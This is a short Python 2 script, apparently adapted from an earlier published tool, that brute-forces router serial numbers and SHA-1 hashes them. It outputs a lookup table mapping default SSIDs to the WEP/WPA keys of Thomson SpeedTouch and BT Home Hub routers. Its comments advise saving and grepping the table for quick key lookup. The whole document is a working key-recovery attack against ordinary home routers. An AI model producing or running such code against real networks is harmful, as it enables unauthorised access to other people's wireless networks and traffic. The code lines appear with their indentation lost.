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- #!/usr/bin/python
- #
- # Slightly modified version of the script by Kevin Devine (see below).
- # This version computes SSID-key pairs and prints them to stdout.
- # You can save the results to a text file and search it for faster
- # lookup. It's faster than generating them every time, especially since
- # the year list has been expanded to 2012, but of course it takes up
- # space.
- #
- # I suggest you save the output to a text file, zip it and use zgrep to
- # search when needed.
- #
- # ====== Original description follows ==========
- #
- # Python version of stkeys.c by Kevin Devine (see http://weiss.u40.hosting.digiweb.ie/stech/)
- # Requires Python 2.5 for hashlib
- #
- # This script will generate possible WEP/WPA keys for Thomson SpeedTouch / BT Home Hub routers,
- # given the last 4 or 6 characters of the default SSID. E.g. For SSID 'SpeedTouchF8A3D0' run:
- #
- # ./ssid2key.py f8a3d0
- #
- # By Hubert Seiwert, hubert.seiwert@nccgroup.com 2008-04-17
- #
- # By default, keys for router serial numbers matching years 2005 to 2007 will be generated.
- # If you wish to change this, edit year_list below.
- import sys
- import hashlib
- offset = 34 # SSID fixed length 6. Could be wrong.
- charset = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
- year_list = [2004,2005,2006,2007,2008,2009,2010,2011,2012]
- def ascii2hex(char):
- return hex(ord(char))[2:]
- for year in [y-2000 for y in year_list]:
- for week in range(1,53): #1..52
- #print 'Trying year 200%d week %d' % (year,week)
- for char1 in charset:
- for char2 in charset:
- for char3 in charset:
- sn = 'CP%02d%02d%s%s%s' % (year,week,ascii2hex(char1),ascii2hex(char2),ascii2hex(char3))
- hash = hashlib.sha1(sn.upper()).hexdigest()
- print "SSID: %s | Key: %s | Year-Week: %s-%s" % (hash[offset:], hash[0:10].upper(), year+2000, week)
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